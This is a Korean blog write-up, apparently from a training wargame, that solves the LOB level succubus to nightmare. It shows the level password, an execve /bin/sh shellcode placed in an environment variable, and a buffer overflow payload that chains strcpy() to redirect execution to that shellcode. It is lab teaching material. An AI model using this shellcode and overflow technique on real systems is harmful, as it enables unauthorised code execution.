System&Write up/LOB

LOB succubus -> nightmare Write up

Jubil 2017. 11. 14. 12:00
반응형

LOB succubus -> nightmare

 

ID : succubus

Passwd : here to stay

 


접속해서 ls 명령어로 파일을 확인합니다.

 


code를 보니 첫 번째 Return Addressstrcpy() 함수에 걸어줘야 하고 두 번째 Return AddressAAAA로 덮어씁니다. 그래서 한 번에 해줘야 할 것만 같은데, strcpy 함수의 기능을 살펴보면, 어떤 주소에 어떤 문자열을 덮어쓸 수 있습니다.

 

그럼 AAAA로 덮여진 두 번째 Return Address의 값을 strcpy() 함수를 이용해서 셸코드가 있는 주소로 넘겨주면 될 것 같습니다.

 

셸코드를 환경 변수에 등록하도록 하겠습니다.

export SC=$(python –c ‘print “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")

 

그리고 환경 변수의 주소를 찾아내는 소스를 짜서 실행하겠습니다.


 


 

환경 변수의 주소를 찾았으니, gdbstrcpy() 함수의 주소를 찾아내겠습니다.


 

core 파일을 생성해서 strcpy() 함수를 이용해서 덮어줄 두 번째 Return Address를 구합니다.

두 번째 Return Address를 환경 변수의 주소로 덮어야 하기 때문에, argv[2]에 환경 변수의 주소를 쓰겠습니다.

 

payload : ./nightmare `python –c ‘print “A”*44 + “\x10\x84\x04\x08” + “AAAA”(strcpy()로 덮어줘야 할 부분) + “BBBB”(“AAAA”의 주소) + “CCCC”(“argv[2]의 주소”)’` `python –c ‘print “\xbb\xcb\xff\xbf"’`

 


core 파일을 열어보겠습니다.

 


저기 하이라이트 부분의 주소를 strcpy()의 첫 번째 인자 “BBBB” 부분에 넣습니다.

 

payload : ./nightmare `python –c ‘print “A”*44 + “\x10\x84\x04\x08” + “AAAA”(strcpy()로 덮어줘야 할 부분) + “\xb0\xc7\xff\xbf” + “CCCC”(“argv[2]의 주소”)’` `python –c ‘print “\xbb\xcb\xff\xbf"’`

 


이제 argv[2]의 주소를 찾겠습니다.

 


하이라이트 부분이 argv[2]입니다.

 


이제 다 구했으니 완성된 payload를 짜보도록 합시다.

 

payload : ./nightmare `python –c ‘print “A”*44 + “\x10\x84\x04\x08” + “AAAA” + “\xb0\xc7\xff\xbf” + “\x47\xc9\xff\xbf”’` `python –c ‘print “\xbb\xcb\xff\xbf"’`

 

공격해봅시다.

 


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB nightmare -> xavius Write up  (0) 2017.11.15
LOB zombie_assassin -> succubus Write up  (2) 2017.11.13
LOB assassin -> zombie_assassin Write up  (0) 2017.11.12
LOB giant -> assassin Write up  (0) 2017.11.09
LOB bugbear -> giant Write up  (0) 2017.11.08